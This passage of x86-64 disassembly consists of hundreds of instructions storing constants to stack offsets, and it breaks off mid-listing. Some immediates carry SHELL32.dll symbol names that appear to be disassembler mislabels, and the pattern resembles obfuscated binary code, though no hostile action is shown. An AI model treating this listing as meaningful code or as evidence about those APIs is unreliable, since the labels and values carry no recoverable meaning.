mov qword [rsp + 0xe580], rax
mov dword [rsp + 0x73ec], 0x1dcb
movabs rax, 0x78a6abf75c8d58
mov qword [rsp + 0xe588], rax
mov dword [rsp + 0x73f0], 0x79a
movabs rax, 0x74d9b7eebffbbf
mov qword [rsp + 0xe590], rax
mov eax, 0xe49
mov word [rsp + 0x1c84], ax
movabs rax, 0x71f085b09bebe9
mov qword [rsp + 0xe598], rax
movabs rax, 0x7b9fca8cb4995c
mov qword [rsp + 0xe5a0], rax
mov byte [rsp + 0x2ed], PathMakeUniqueName
mov eax, 0xb45
mov word [rsp + 0x1c88], ax
mov dword [rsp + 0x73f4], 0x2315
movabs rax, 0x74fb7d429eb4e5
mov qword [rsp + 0xe5a8], rax
movabs rax, 0x7734349af1c2c0
mov qword [rsp + 0xe5b0], rax
mov byte [rsp + 0x2ee], ILIsParent
movabs rax, 0x73dae05f2150eb
mov qword [rsp + 0xe5b8], rax
mov byte [rsp + 0x2ef], 0x23
movabs rax, 0x7451eb9c7b9a64
mov qword [rsp + 0xe5c0], rax
movabs rax, 0x78fcc178fc57e2
mov qword [rsp + 0xe5c8], rax
mov dword [rsp + 0x73f8], 0xd615
movabs rax, 0x7bb6c9509307f6
mov qword [rsp + 0xe5d0], rax
mov dword [rsp + 0x73fc], 0x1135
movabs rax, 0x74f6ba1aed98eb
mov qword [rsp + 0xe5d8], rax
mov dword [rsp + 0x7400], 0x339f
mov dword [rsp + 0x7404], 0x3d1f
mov eax, 0x1bb
mov word [rsp + 0x1c8c], ax
mov eax, 0x1ff
mov word [rsp + 0x1c90], ax
mov byte [rsp + 0x2f0], 0x1f
mov dword [rsp + 0x7408], 0x7ac
movabs rax, 0x77780fb6980831
mov qword [rsp + 0xe5e0], rax
mov eax, 0x4e2
mov word [rsp + 0x1c94], ax
mov byte [rsp + 0x2f1], reloc.SHELL32.dll_ILGetSize
mov eax, 0x4ce
mov word [rsp + 0x1c98], ax
movabs rax, 0x742bf48f04078d
mov qword [rsp + 0xe5e8], rax
movabs rax, 0x7973e208a127bc
mov qword [rsp + 0xe5f0], rax
mov eax, 0x292
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x740c], 0xaddd
mov eax, 0x130
mov word [rsp + 0x1ca0], ax
movabs rax, 0x74cf78a5a9bc9e
mov qword [rsp + 0xe5f8], rax
movabs rax, 0x7b87352b2a56ec
mov qword [rsp + 0xe600], rax
movabs rax, 0x77dfcefc52c2f7
mov qword [rsp + 0xe608], rax
mov byte [rsp + 0x2f2], 0x79
mov dword [rsp + 0x7410], 0xa490
mov dword [rsp + 0x7414], 0x765b
movabs rax, 0x74314a9d3e40a0
mov qword [rsp + 0xe610], rax
mov eax, 0x107
mov word [rsp + 0x1ca4], ax
movabs rax, 0x7497eb7686aee1
mov qword [rsp + 0xe618], rax
mov eax, 0x9e7
mov word [rsp + 0x1ca8], ax
movabs rax, 0x70cd9a4e23d80a
mov qword [rsp + 0xe620], rax
mov dword [rsp + 0x7418], 0x1de0
mov dword [rsp + 0x741c], 0x2cf5
movabs rax, 0x7555a237d54f7a
mov qword [rsp + 0xe628], rax
movabs rax, 0x73aea6b0281f52
mov qword [rsp + 0xe630], rax
mov dword [rsp + 0x7420], 0x9a20
mov eax, 0x4a2
mov word [rsp + 0x1cac], ax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x1cb0], ax
mov dword [rsp + 0x7424], 0x257b
mov dword [rsp + 0x7428], 0x3c8b
mov dword [rsp + 0x742c], 0xfeaf
mov eax, 0x649
mov word [rsp + 0x1cb4], ax
mov byte [rsp + 0x2f3], 0xca
mov dword [rsp + 0x7430], 0x4364
mov dword [rsp + 0x7434], 0xcbc7
mov dword [rsp + 0x7438], 0x6941
mov byte [rsp + 0x2f4], 0xcb
mov eax, 0xa09
mov word [rsp + 0x1cb8], ax
movabs rax, 0x73341d50bcd169
mov qword [rsp + 0xe638], rax
mov dword [rsp + 0x743c], 0xdd03
mov dword [rsp + 0x7440], 0x5de9
mov eax, 0xa4
mov word [rsp + 0x1cbc], ax
movabs rax, 0x73f7713f36395f
mov qword [rsp + 0xe640], rax
mov eax, 0xcb
mov word [rsp + 0x1cc0], ax
movabs rax, 0x747ce062d99fee
mov qword [rsp + 0xe648], rax
mov byte [rsp + 0x2f5], ILIsParent
movabs rax, 0x78922c10954bff
mov qword [rsp + 0xe650], rax
mov dword [rsp + 0x7444], 0x5999
mov byte [rsp + 0x2f6], 0x80
movabs rax, 0x75c2f74bae6e18
mov qword [rsp + 0xe658], rax
mov eax, 0x8fa
mov word [rsp + 0x1cc4], ax
movabs rax, 0x714d9737546edc
mov qword [rsp + 0xe660], rax
mov eax, 0x88e
mov word [rsp + 0x1cc8], ax
mov dword [rsp + 0x7448], 0x30c2
movabs rax, 0x7efa173176bfe4
mov qword [rsp + 0xe668], rax
mov eax, 0x855
mov word [rsp + 0x1ccc], ax
movabs rax, 0x74102cf223fb36
mov qword [rsp + 0xe670], rax
mov eax, 0x6f2
mov word [rsp + 0x1cd0], ax
mov byte [rsp + 0x2f7], 0xdb
movabs rax, 0x70082f94a27e20
mov qword [rsp + 0xe678], rax
mov byte [rsp + 0x2f8], 0x4f
mov dword [rsp + 0x744c], 0xcb8
movabs rax, 0x7692ec741272a5
mov qword [rsp + 0xe680], rax
movabs rax, 0x766b67408008c0
mov qword [rsp + 0xe688], rax
movabs rax, 0x763f66ca246682
mov qword [rsp + 0xe690], rax
mov eax, 0x5c1
mov word [rsp + 0x1cd4], ax
mov byte [rsp + 0x2f9], 0x23
movabs rax, 0x78f111a21724af
mov qword [rsp + 0xe698], rax
movabs rax, 0x7bac357ac034cd
mov qword [rsp + 0xe6a0], rax
mov eax, 0x537
mov word [rsp + 0x1cd8], ax
mov byte [rsp + 0x2fa], 0xbf
mov eax, 0xf76
mov word [rsp + 0x1cdc], ax
mov eax, 0xaf4
mov word [rsp + 0x1ce0], ax
mov eax, 0x31d
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x7450], 0x10d2
movabs rax, 0x7481fdd3830b5b
mov qword [rsp + 0xe6a8], rax
mov dword [rsp + 0x7454], 0x6afe
mov dword [rsp + 0x7458], 0x1349
mov eax, 0x1c3
mov word [rsp + 0x1ce8], ax
movabs rax, 0x775c335437d98a
mov qword [rsp + 0xe6b0], rax
movabs rax, 0x7b3c0047901fce
mov qword [rsp + 0xe6b8], rax
mov dword [rsp + 0x745c], 0x9d3a
mov eax, 0x61f
mov word [rsp + 0x1cec], ax
movabs rax, 0x70dd3137d6b96c
mov qword [rsp + 0xe6c0], rax
movabs rax, 0x717956d8a5d02f
mov qword [rsp + 0xe6c8], rax
mov eax, 0x2e1
mov word [rsp + 0x1cf0], ax
mov eax, 0x61d
mov word [rsp + 0x1cf4], ax
mov dword [rsp + 0x7460], 0x314
movabs rax, 0x7ce5c2166a7258
mov qword [rsp + 0xe6d0], rax
mov dword [rsp + 0x7464], 0x9311
mov byte [rsp + 0x2fb], 0xf9
movabs rax, 0x73b18f7a496223
mov qword [rsp + 0xe6d8], rax
mov byte [rsp + 0x2fc], 0x50
movabs rax, 0x7be35be21d0227
mov qword [rsp + 0xe6e0], rax
mov byte [rsp + 0x2fd], ILRemoveLastID
mov eax, 0xe6
mov word [rsp + 0x1cf8], ax
mov dword [rsp + 0x7468], 0x1c34
movabs rax, 0x7ba85aaf017a17
mov qword [rsp + 0xe6e8], rax
mov dword [rsp + 0x746c], 0x8ae9
mov dword [rsp + 0x7470], 0x73f9
mov eax, 0x35e
mov word [rsp + 0x1cfc], ax
mov dword [rsp + 0x7474], 0x3d6e
mov eax, 0x323
mov word [rsp + 0x1d00], ax
mov dword [rsp + 0x7478], 0x6ccd
mov eax, 0xdb1
mov word [rsp + 0x1d04], ax
mov dword [rsp + 0x747c], 0x630e
mov eax, 0x526
mov word [rsp + 0x1d08], ax
movabs rax, 0x77cc597f982cdf
mov qword [rsp + 0xe6f0], rax
mov byte [rsp + 0x2fe], 0x83
mov byte [rsp + 0x2ff], 0x6d
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x1d0c], ax
mov eax, 0x2cf
mov word [rsp + 0x1d10], ax
mov byte [rsp + 0x300], 0xe2
mov dword [rsp + 0x7480], 0x4ccb
mov dword [rsp + 0x7484], 0x1e8d
movabs rax, 0x7b61ea410738c6
mov qword [rsp + 0xe6f8], rax
movabs rax, 0x703d8269a3de1c
mov qword [rsp + 0xe700], rax
mov eax, 0x597
mov word [rsp + 0x1d14], ax
mov eax, 0x102
mov word [rsp + 0x1d18], ax
mov byte [rsp + 0x301], 0x60
mov eax, 0x28c
mov word [rsp + 0x1d1c], ax
mov dword [rsp + 0x7488], 0x4daf
mov eax, 0x3f6
mov word [rsp + 0x1d20], ax
mov eax, 0x640
mov word [rsp + 0x1d24], ax
movabs rax, 0x772831da345699
mov qword [rsp + 0xe708], rax
mov eax, 0x2d3
mov word [rsp + 0x1d28], ax
movabs rax, 0x7391d7cc5754cf
mov qword [rsp + 0xe710], rax
movabs rax, 0x70908311505c27
mov qword [rsp + 0xe718], rax
movabs rax, 0x727bf43e54f6ba
mov qword [rsp + 0xe720], rax
mov dword [rsp + 0x748c], 0x95d6
mov eax, 0xfb8
mov word [rsp + 0x1d2c], ax
movabs rax, 0x77a120c7e2e0e2
mov qword [rsp + 0xe728], rax
movabs rax, 0x7860a16d03a78a
mov qword [rsp + 0xe730], rax
mov dword [rsp + 0x7490], 0x4c25
mov byte [rsp + 0x302], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x7494], 0x44f8
mov eax, 0xf17
mov word [rsp + 0x1d30], ax
movabs rax, 0x757048c30b1cee
mov qword [rsp + 0xe738], rax
mov dword [rsp + 0x7498], 0x6fcf
mov byte [rsp + 0x303], PathYetAnotherMakeUniqueName
movabs rax, 0x746397939d7a33
mov qword [rsp + 0xe740], rax
mov dword [rsp + 0x749c], 0x7570
mov eax, 0x530
mov word [rsp + 0x1d34], ax
mov dword [rsp + 0x74a0], 0x1cc9
movabs rax, 0x7d2535a76fd3dd
mov qword [rsp + 0xe748], rax
mov dword [rsp + 0x74a4], 0x3334
mov byte [rsp + 0x304], 0x37
mov dword [rsp + 0x74a8], 0x6817
mov dword [rsp + 0x74ac], 0x5f73
movabs rax, 0x785ca6469b2fda
mov qword [rsp + 0xe750], rax
mov eax, reloc.SHELL32.dll_ILIsParent
mov word [rsp + 0x1d38], ax
movabs rax, 0x78c77ea12c52b2
mov qword [rsp + 0xe758], rax
mov eax, 0x49f
mov word [rsp + 0x1d3c], ax
mov eax, 0xc34
mov word [rsp + 0x1d40], ax
mov byte [rsp + 0x305], 0x90
mov byte [rsp + 0x306], 0x24
mov eax, PathMakeUniqueName
mov word [rsp + 0x1d44], ax
movabs rax, 0x702be6285f3508
mov qword [rsp + 0xe760], rax
mov dword [rsp + 0x74b0], 0x8a86
movabs rax, 0x79b2244b818564
mov qword [rsp + 0xe768], rax
mov dword [rsp + 0x74b4], 0x3952
movabs rax, 0x72061dd66749a3
mov qword [rsp + 0xe770], rax
mov dword [rsp + 0x74b8], 0xdbeb
mov byte [rsp + 0x307], 0xa0
movabs rax, 0x7648f3c0067de8
mov qword [rsp + 0xe778], rax
movabs rax, 0x74983456845495
mov qword [rsp + 0xe780], rax
mov eax, 0x1e0
mov word [rsp + 0x1d48], ax
mov dword [rsp + 0x74bc], 0xf138
mov byte [rsp + 0x308], 0x75
mov eax, 0xf5d
mov word [rsp + 0x1d4c], ax
movabs rax, 0x75a2d59c303373
mov qword [rsp + 0xe788], rax
mov dword [rsp + 0x74c0], 0xc231
movabs rax, 0x75037bd640256d
mov qword [rsp + 0xe790], rax
mov dword [rsp + 0x74c4], 0x75b6
mov dword [rsp + 0x74c8], 0x74be
movabs rax, 0x73f9bdab367771
mov qword [rsp + 0xe798], rax
mov dword [rsp + 0x74cc], 0x3391
mov eax, 0x9b5
mov word [rsp + 0x1d50], ax
movabs rax, 0x7da9da48fa74d4
mov qword [rsp + 0xe7a0], rax
movabs rax, 0x7a1dc0cfddc25d
mov qword [rsp + 0xe7a8], rax
movabs rax, 0x714d9bc03effd5
mov qword [rsp + 0xe7b0], rax
mov eax, 0x7e2
mov word [rsp + 0x1d54], ax
mov eax, 0x7f0
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x74d0], 0xa055
movabs rax, 0x7781f816b1279e
mov qword [rsp + 0xe7b8], rax
mov byte [rsp + 0x309], 0x43
mov byte [rsp + 0x30a], ILIsParent
mov byte [rsp + 0x30b], PathMakeUniqueName
movabs rax, 0x7620a0a8d32b77
mov qword [rsp + 0xe7c0], rax
movabs rax, 0x771be12d9cd238
mov qword [rsp + 0xe7c8], rax
movabs rax, 0x76e4f2c4fdb66f
mov qword [rsp + 0xe7d0], rax
mov dword [rsp + 0x74d4], 0x4b14
mov byte [rsp + 0x30c], 0x1b
mov byte [rsp + 0x30d], 0x23
mov dword [rsp + 0x74d8], 0xd7d0
movabs rax, 0x7e6c1031778537
mov qword [rsp + 0xe7d8], rax
mov eax, 0xb56
mov word [rsp + 0x1d5c], ax
movabs rax, 0x7d253a6b1fdca4
mov qword [rsp + 0xe7e0], rax
movabs rax, 0x7b2ba58ada7597
mov qword [rsp + 0xe7e8], rax
movabs rax, 0x73dcd199533132
mov qword [rsp + 0xe7f0], rax
mov byte [rsp + 0x30e], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x30f], 0x26
movabs rax, 0x76a05c1ca7576a
mov qword [rsp + 0xe7f8], rax
mov eax, 0x186
mov word [rsp + 0x1d60], ax
mov eax, 0x5da
mov word [rsp + 0x1d64], ax
mov eax, 0x73f
mov word [rsp + 0x1d68], ax
mov eax, 0xe8c
mov word [rsp + 0x1d6c], ax
movabs rax, 0x752a5a82a8a0dc
mov qword [rsp + 0xe800], rax
movabs rax, 0x7201137a6a60b2
mov qword [rsp + 0xe808], rax
movabs rax, 0x75781cb714249a
mov qword [rsp + 0xe810], rax
movabs rax, 0x79504b622f90e0
mov qword [rsp + 0xe818], rax
mov eax, 0x7e3
mov word [rsp + 0x1d70], ax
movabs rax, 0x714aa83c31de3e
mov qword [rsp + 0xe820], rax
mov dword [rsp + 0x74dc], 0x9a82
mov eax, 0x676
mov word [rsp + 0x1d74], ax
mov byte [rsp + 0x310], ILGetNext
mov eax, 0xa35
mov word [rsp + 0x1d78], ax
movabs rax, 0x7da14d5527e1d7
mov qword [rsp + 0xe828], rax
mov byte [rsp + 0x311], 0x4c
mov dword [rsp + 0x74e0], 0x3f01
movabs rax, 0x700656a8c71a60
mov qword [rsp + 0xe830], rax
mov eax, 0x7eb
mov word [rsp + 0x1d7c], ax
mov dword [rsp + 0x74e4], 0x2e2d
mov dword [rsp + 0x74e8], 0x3a32
mov dword [rsp + 0x74ec], 0xd3a
mov eax, 0x146
mov word [rsp + 0x1d80], ax
movabs rax, 0x7c778448fcc703
mov qword [rsp + 0xe838], rax
mov byte [rsp + 0x312], 0x71
mov byte [rsp + 0x313], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov dword [rsp + 0x74f0], 0x4d4
movabs rax, 0x7d8d55c10c979e
mov qword [rsp + 0xe840], rax
mov eax, 0xc9
mov word [rsp + 0x1d84], ax
mov byte [rsp + 0x314], 0x68
mov dword [rsp + 0x74f4], 0x3bcd
mov dword [rsp + 0x74f8], 0x4813
mov dword [rsp + 0x74fc], 0xf16c
mov dword [rsp + 0x7500], 0x707a
mov dword [rsp + 0x7504], 0xb956
movabs rax, 0x7bb02792b3e185
mov qword [rsp + 0xe848], rax
mov byte [rsp + 0x315], 0x1b
mov dword [rsp + 0x7508], 0x625f
mov byte [rsp + 0x316], ILRemoveLastID
mov eax, 0x8ee
mov word [rsp + 0x1d88], ax
movabs rax, 0x7b3dff622a0598
mov qword [rsp + 0xe850], rax
mov eax, 0x59d
mov word [rsp + 0x1d8c], ax
mov eax, 0xb05
mov word [rsp + 0x1d90], ax
mov byte [rsp + 0x317], 0x7a
movabs rax, 0x77ce1cc228787c
mov qword [rsp + 0xe858], rax
mov eax, 0xade
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x750c], 0x26c0
mov dword [rsp + 0x7510], 0x9589
mov dword [rsp + 0x7514], 0x996c
mov byte [rsp + 0x318], 0x7a
mov dword [rsp + 0x7518], 0x4e6e
movabs rax, 0x73788bee4bf8e7
mov qword [rsp + 0xe860], rax
mov byte [rsp + 0x319], 0x71
movabs rax, 0x77e378f4ac9294
mov qword [rsp + 0xe868], rax
mov byte [rsp + 0x31a], 0x7b
mov byte [rsp + 0x31b], 0x7e
mov byte [rsp + 0x31c], 0x38
movabs rax, 0x78a9735466db93
mov qword [rsp + 0xe870], rax
mov dword [rsp + 0x751c], 0x5099
mov dword [rsp + 0x7520], 0xa08a
movabs rax, 0x74fe1b392f1aac
mov qword [rsp + 0xe878], rax
movabs rax, 0x7c920da147802f
mov qword [rsp + 0xe880], rax
mov byte [rsp + 0x31d], 0xe2
mov dword [rsp + 0x7524], 0x5c7a
mov byte [rsp + 0x31e], 0x6f
movabs rax, 0x7373ad9f5f8236
mov qword [rsp + 0xe888], rax
mov dword [rsp + 0x7528], 0x571a
movabs rax, 0x74c87cfdd9f5ca
mov qword [rsp + 0xe890], rax
mov dword [rsp + 0x752c], 0xcaf
mov eax, 0x377
mov word [rsp + 0x1d98], ax
mov dword [rsp + 0x7530], 0x109a
mov eax, 0xbf5
mov word [rsp + 0x1d9c], ax
mov byte [rsp + 0x31f], 0xf4
mov dword [rsp + 0x7534], 0x6e4d
movabs rax, 0x77093a99126fd8
mov qword [rsp + 0xe898], rax
movabs rax, 0x75644a5577291d
mov qword [rsp + 0xe8a0], rax
movabs rax, 0x7ac8ef740e596c
mov qword [rsp + 0xe8a8], rax
mov byte [rsp + 0x320], 5
mov eax, 0x61d
mov word [rsp + 0x1da0], ax
mov dword [rsp + 0x7538], 0x9e9e
mov dword [rsp + 0x753c], 0x327f
mov byte [rsp + 0x321], SHSetInstanceExplorer
movabs rax, 0x71b4b694dca54e
mov qword [rsp + 0xe8b0], rax
mov dword [rsp + 0x7540], 0xae79
mov dword [rsp + 0x7544], 0xc493
mov byte [rsp + 0x322], 0x24
mov dword [rsp + 0x7548], 0xe9e1
mov eax, 0x7c0
mov word [rsp + 0x1da4], ax
mov eax, 0x453
mov word [rsp + 0x1da8], ax
mov eax, 0x50
mov word [rsp + 0x1dac], ax
mov eax, 0x4d9
mov word [rsp + 0x1db0], ax
movabs rax, 0x78687fcd543560
mov qword [rsp + 0xe8b8], rax
mov byte [rsp + 0x323], PathYetAnotherMakeUniqueName
movabs rax, 0x7ca32a6f48f67d
mov qword [rsp + 0xe8c0], rax
movabs rax, 0x7c1f9ce8cb2cc6
mov qword [rsp + 0xe8c8], rax
movabs rax, 0x79d1302942e0c8
mov qword [rsp + 0xe8d0], rax
movabs rax, 0x77da140af44e25
mov qword [rsp + 0xe8d8], rax
movabs rax, 0x7bb50243541c5f
mov qword [rsp + 0xe8e0], rax
mov byte [rsp + 0x324], SHDoDragDrop
movabs rax, 0x73045714fe05e5
mov qword [rsp + 0xe8e8], rax
movabs rax, 0x7d5a351c6c53f0
mov qword [rsp + 0xe8f0], rax
movabs rax, 0x7ee8177ad02bcf
mov qword [rsp + 0xe8f8], rax
mov eax, 0x265
mov word [rsp + 0x1db4], ax
mov dword [rsp + 0x754c], 0x5606
movabs rax, 0x771d4dfd4fe2a3
mov qword [rsp + 0xe900], rax
mov eax, 0xecd
mov word [rsp + 0x1db8], ax
movabs rax, 0x7336ab15d61779
mov qword [rsp + 0xe908], rax
mov eax, 0x8e
mov word [rsp + 0x1dbc], ax
mov byte [rsp + 0x325], 0x7c
mov eax, 0x4c2
mov word [rsp + 0x1dc0], ax
mov dword [rsp + 0x7550], 0x1d6b
mov eax, 0x162
mov word [rsp + 0x1dc4], ax
movabs rax, 0x70fccae68c30c9
mov qword [rsp + 0xe910], rax
mov dword [rsp + 0x7554], 0xb07d
mov byte [rsp + 0x326], 0x71
mov eax, 0xe06
mov word [rsp + 0x1dc8], ax
movabs rax, 0x742fc4b5ab6320
mov qword [rsp + 0xe918], rax
mov eax, 0x110
mov word [rsp + 0x1dcc], ax
mov dword [rsp + 0x7558], 0xce7a
mov eax, PathMakeUniqueName
mov word [rsp + 0x1dd0], ax
mov dword [rsp + 0x755c], 0x752
mov eax, 0x61
mov word [rsp + 0x1dd4], ax
movabs rax, 0x713995d10b8a2f
mov qword [rsp + 0xe920], rax
mov dword [rsp + 0x7560], 0x2796
movabs rax, 0x7a564bce446ce9
mov qword [rsp + 0xe928], rax
mov dword [rsp + 0x7564], 0x14d5
mov dword [rsp + 0x7568], 0x8b2a
mov eax, 0xc63
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x756c], 0xd666
mov dword [rsp + 0x7570], 0x32ff
mov dword [rsp + 0x7574], 0xabc3
mov eax, 0x7f9
mov word [rsp + 0x1ddc], ax
mov byte [rsp + 0x327], 0x1b
mov byte [rsp + 0x328], PathMakeUniqueName
mov eax, 0x6ab
mov word [rsp + 0x1de0], ax
mov dword [rsp + 0x7578], 0xaaea
movabs rax, 0x709a8e717a10cc
mov qword [rsp + 0xe930], rax
mov byte [rsp + 0x329], PathMakeUniqueName
mov byte [rsp + 0x32a], 0x5a
mov dword [rsp + 0x757c], 0xcad0
movabs rax, 0x7d74f05c1a425e
mov qword [rsp + 0xe938], rax
mov byte [rsp + 0x32b], 0x26
mov dword [rsp + 0x7580], 0xc386
mov eax, 0x4d
mov word [rsp + 0x1de4], ax
mov eax, 0x4e8
mov word [rsp + 0x1de8], ax
movabs rax, 0x7bf0ee63afe157
mov qword [rsp + 0xe940], rax
mov eax, 0x1af
mov word [rsp + 0x1dec], ax
mov dword [rsp + 0x7584], 0x613a
mov eax, PathMakeUniqueName
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x7588], 0x4da2
mov eax, 0xfce
mov word [rsp + 0x1df4], ax
mov byte [rsp + 0x32c], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x32d], 9
mov dword [rsp + 0x758c], 0x315d
movabs rax, 0x72c6e21e0397a1
mov qword [rsp + 0xe948], rax
mov eax, ILGetSize
mov word [rsp + 0x1df8], ax
mov dword [rsp + 0x7590], 0x2e97
mov dword [rsp + 0x7594], 0x2168
mov dword [rsp + 0x7598], 0x50e4
movabs rax, 0x7392e89af9b419
mov qword [rsp + 0xe950], rax
mov dword [rsp + 0x759c], 0xb0ae
mov dword [rsp + 0x75a0], 0xdb5f
mov dword [rsp + 0x75a4], 0x74f6
movabs rax, 0x79b9f55210dc34
mov qword [rsp + 0xe958], rax
mov eax, 0xd9d
mov word [rsp + 0x1dfc], ax
movabs rax, 0x7dd41db66f2eb1
mov qword [rsp + 0xe960], rax
mov byte [rsp + 0x32e], 0x40
movabs rax, 0x759e23992a7ba1
mov qword [rsp + 0xe968], rax
mov dword [rsp + 0x75a8], 0xa110
movabs rax, 0x76cab8dddf165d
mov qword [rsp + 0xe970], rax
mov dword [rsp + 0x75ac], 0x211
movabs rax, 0x724d8949c44fb2
mov qword [rsp + 0xe978], rax
mov byte [rsp + 0x32f], 0xa0
movabs rax, 0x7328fed6281bc3
mov qword [rsp + 0xe980], rax
mov dword [rsp + 0x75b0], 0x10c7
mov dword [rsp + 0x75b4], 0xd29
mov eax, 0x37e
mov word [rsp + 0x1e00], ax
movabs rax, 0x7e241db9cecdb3
mov qword [rsp + 0xe988], rax
mov eax, 0x33f
mov word [rsp + 0x1e04], ax
mov byte [rsp + 0x330], 0x21
mov byte [rsp + 0x331], 0xc3
mov dword [rsp + 0x75b8], 0x66
mov dword [rsp + 0x75bc], 0xe2bc
mov dword [rsp + 0x75c0], 0xca33
movabs rax, 0x703439629e26f4
mov qword [rsp + 0xe990], rax
mov dword [rsp + 0x75c4], 0x58e1
mov eax, 0x166
mov word [rsp + 0x1e08], ax
mov byte [rsp + 0x332], 0xa1
mov dword [rsp + 0x75c8], 0x4665
mov dword [rsp + 0x75cc], 0x6bcf
movabs rax, 0x7b2e603deeb4bd
mov qword [rsp + 0xe998], rax
mov eax, 0x8ea
mov word [rsp + 0x1e0c], ax
mov byte [rsp + 0x333], 9
mov byte [rsp + 0x334], PathMakeUniqueName
mov eax, 0x4ac
mov word [rsp + 0x1e10], ax
mov eax, 0x33c
mov word [rsp + 0x1e14], ax
mov byte [rsp + 0x335], 0x5e
mov eax, 0xbd1
mov word [rsp + 0x1e18], ax
mov byte [rsp + 0x336], reloc.SHELL32.dll_ILFree
movabs rax, 0x7645c82de46daf
mov qword [rsp + 0xe9a0], rax
movabs rax, 0x763cbae7485bc3
mov qword [rsp + 0xe9a8], rax
mov byte [rsp + 0x337], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x7327efce33d013
mov qword [rsp + 0xe9b0], rax
mov byte [rsp + 0x338], 0x4d
mov byte [rsp + 0x339], 0x6d
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x1e1c], ax
mov byte [rsp + 0x33a], 0xd9
mov eax, 0x66
mov word [rsp + 0x1e20], ax
movabs rax, 0x733f1cf76dc091
mov qword [rsp + 0xe9b8], rax
mov dword [rsp + 0x75d0], 0x11d1
movabs rax, 0x7753cec92aa516
mov qword [rsp + 0xe9c0], rax
mov eax, 0x239
mov word [rsp + 0x1e24], ax
mov byte [rsp + 0x33b], 0x69
movabs rax, 0x7de48db8d926c5
mov qword [rsp + 0xe9c8], rax
mov eax, 0xd10
mov word [rsp + 0x1e28], ax
mov dword [rsp + 0x75d4], 0x7f0e
mov eax, 0xa84
mov word [rsp + 0x1e2c], ax
movabs rax, 0x7852b2244476d4
mov qword [rsp + 0xe9d0], rax
mov byte [rsp + 0x33c], 0xa4
mov dword [rsp + 0x75d8], 0x29d9
mov byte [rsp + 0x33d], 0x8d
mov byte [rsp + 0x33e], 0x3d
mov dword [rsp + 0x75dc], 0x243a
mov dword [rsp + 0x75e0], 0xcb6a
mov eax, 0x6af
mov word [rsp + 0x1e30], ax
mov byte [rsp + 0x33f], ILRemoveLastID
movabs rax, 0x7b5472e93efad5
mov qword [rsp + 0xe9d8], rax
mov dword [rsp + 0x75e4], 0x6635
mov eax, 0xa48
mov word [rsp + 0x1e34], ax
mov byte [rsp + 0x340], 0x3c
mov dword [rsp + 0x75e8], 0x7755
mov eax, 0x23a
mov word [rsp + 0x1e38], ax
mov byte [rsp + 0x341], 3
mov eax, 0x725
mov word [rsp + 0x1e3c], ax
mov eax, 0xa20
mov word [rsp + 0x1e40], ax
mov dword [rsp + 0x75ec], 0x29b7
movabs rax, 0x797c5a0915b538
mov qword [rsp + 0xe9e0], rax
mov byte [rsp + 0x342], 0xcc
movabs rax, 0x76393bce90b4bf
mov qword [rsp + 0xe9e8], rax
mov dword [rsp + 0x75f0], 0xd223
movabs rax, 0x7cb4eaa5b14805
mov qword [rsp + 0xe9f0], rax
mov byte [rsp + 0x343], 0xe8
mov dword [rsp + 0x75f4], 0x6ead
mov eax, 0x2f5
mov word [rsp + 0x1e44], ax
movabs rax, 0x703e5396edbd22
mov qword [rsp + 0xe9f8], rax
mov eax, 0x606
mov word [rsp + 0x1e48], ax
mov byte [rsp + 0x344], 0x72
mov dword [rsp + 0x75f8], 0xf268
mov eax, reloc.SHELL32.dll_ILIsParent
mov word [rsp + 0x1e4c], ax
movabs rax, 0x781ddf51213ce8
mov qword [rsp + 0xea00], rax
movabs rax, 0x790533be0e10fe
mov qword [rsp + 0xea08], rax
movabs rax, 0x7b11cfe0781379
mov qword [rsp + 0xea10], rax
mov dword [rsp + 0x75fc], 0x3b32
mov eax, 0x55c
mov word [rsp + 0x1e50], ax
mov byte [rsp + 0x345], 0x5e
movabs rax, 0x75c415d74a9988
mov qword [rsp + 0xea18], rax
mov eax, 0x5fb
mov word [rsp + 0x1e54], ax
movabs rax, 0x7b74295b40ea57
mov qword [rsp + 0xea20], rax
movabs rax, 0x7d6518ce3077f1
mov qword [rsp + 0xea28], rax
movabs rax, 0x776e2d6b88e44a
mov qword [rsp + 0xea30], rax
mov eax, 0xde8
mov word [rsp + 0x1e58], ax
mov eax, 0x5aa
mov word [rsp + 0x1e5c], ax
mov byte [rsp + 0x346], 0x40
mov byte [rsp + 0x347], 0x85
mov byte [rsp + 0x348], 0xf1
mov dword [rsp + 0x7600], 0x3808
mov dword [rsp + 0x7604], 0x4799
mov eax, 0x328
mov word [rsp + 0x1e60], ax
mov eax, 0x5a8
mov word [rsp + 0x1e64], ax
mov byte [rsp + 0x349], 0x35
mov dword [rsp + 0x7608], 0x3eea
movabs rax, 0x74dca2429cb033
mov qword [rsp + 0xea38], rax
movabs rax, 0x7a000399b594ca
mov qword [rsp + 0xea40], rax
movabs rax, 0x743e745c50207f
mov qword [rsp + 0xea48], rax
mov eax, 0x175
mov word [rsp + 0x1e68], ax
movabs rax, 0x727db2febf3917
mov qword [rsp + 0xea50], rax
mov byte [rsp + 0x34a], 0x60
movabs rax, 0x738c28f7c2f06d
mov qword [rsp + 0xea58], rax
mov dword [rsp + 0x760c], 0x3f70
mov eax, 0xcf7
mov word [rsp + 0x1e6c], ax
mov eax, 6
mov word [rsp + 0x1e70], ax
movabs rax, 0x71667415182fc8
mov qword [rsp + 0xea60], rax
mov eax, 0xb8
mov word [rsp + 0x1e74], ax
mov byte [rsp + 0x34b], 0x42
mov dword [rsp + 0x7610], 0x3cd0
mov byte [rsp + 0x34c], SHDoDragDrop
mov dword [rsp + 0x7614], 0x3ebb
mov byte [rsp + 0x34d], 0x4d
mov eax, 0xcee
mov word [rsp + 0x1e78], ax
mov dword [rsp + 0x7618], 0xb3d3
mov eax, 0x154
mov word [rsp + 0x1e7c], ax
movabs rax, 0x7e684248cdf122
